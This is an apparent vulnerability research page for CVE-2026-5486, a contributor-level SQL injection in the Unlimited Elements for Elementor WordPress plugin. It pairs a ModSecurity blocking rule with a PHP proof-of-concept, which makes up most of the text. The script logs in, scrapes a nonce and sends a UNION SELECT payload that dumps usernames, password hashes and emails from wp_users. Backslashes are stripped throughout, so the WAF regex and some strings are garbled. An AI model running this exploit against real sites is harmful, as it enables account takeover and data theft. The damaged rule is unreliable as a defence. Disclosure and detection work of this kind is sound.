CVE-2026-5486: Unlimited Elements For Elementor <= 2.0.7 – Authenticated (Contributor+) SQL Injection via 'filter_search' Parameter (unlimited-elements-for-elementor)

# Atomic Edge WAF Rule - CVE-2026-5486 (metadata-based)
# Blocks SQL injection attempts via 'data[filter_search]' in Unlimited Elements AJAX handler
# Targets authenticated attackers with Contributor+ access exploiting nonce leak
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-5486 - SQL Injection via filter_search parameter in Unlimited Elements for Elementor',severity:'CRITICAL',tag:'CVE-2026-5486'"
    SecRule ARGS_POST:action "@streq unlimited_elements_get_cat_addons" 
        "chain"
        SecRule ARGS_POST:/^data[filter_search]$/ "@rx (?i)(?:bunionb.*bselectb|bselectb.*bfromb|bdropb|bdeleteb|binsertb|bupdateb|bORb.*=.*|bANDb.*=.*|'.*--|/*.**/|bexecb|bxp_cmdshellb)" 
            "t:none,t:urlDecode,t:removeNulls,t:compressWhitespace"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5486 - Unlimited Elements For Elementor <= 2.0.7 - Authenticated (Contributor+) SQL Injection via 'filter_search' Parameter

/**
 * This PoC demonstrates SQL injection via the get_cat_addons AJAX action.
 * Assumptions:
 * 1. The AJAX action name follows the pattern 'unlimited_elements_get_cat_addons'
 * 2. The nonce parameter name is likely '_wpnonce' or 'nonce'
 * 3. The attacker has valid Contributor-level credentials
 * 4. WordPress is installed at the $target_url
 *
 * Usage:
 *   1. Set your WordPress target URL, username, and password below
 *   2. Run: php cve-2026-5486-poc.php
 */

$target_url = 'http://example.com/wordpress'; // CHANGE THIS
$username   = 'contributor_user';             // CHANGE THIS
$password   = 'contributor_pass';             // CHANGE THIS

// Step 1: Authenticate and get cookies
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$login_post = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_post));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-5486-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce from Elementor editor or wp-admin (we assume a known valid nonce for PoC)
// In reality, the attacker would need to obtain a valid nonce from the Elementor editor page.
// For this PoC, we attempt to extract a nonce from the wp-admin page as a proxy.
$admin_url = rtrim($target_url, '/') . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-5486-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract a nonce from the page (this is a simplified approach)
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '0000000000';
echo "[+] Using nonce: $noncen";

// Step 3: Perform SQL injection
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// SQL injection payload: extract all usernames and password hashes from wp_users
// The injection exploits the LIKE clause; we close the existing query and UNION select
$sql_payload = "test' OR 1=1 UNION SELECT user_login,user_pass,user_email,ID,user_registered,user_status,display_name FROM wp_users-- ";

$post_data = [
    'action' => 'unlimited_elements_get_cat_addons',
    '_wpnonce' => $nonce,
    'data[filter_search]' => $sql_payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-5486-cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-Requested-With: XMLHttpRequest',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'
]);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Response:n";
echo $response . "n";

// Clean up
unlink('/tmp/cve-2026-5486-cookies.txt');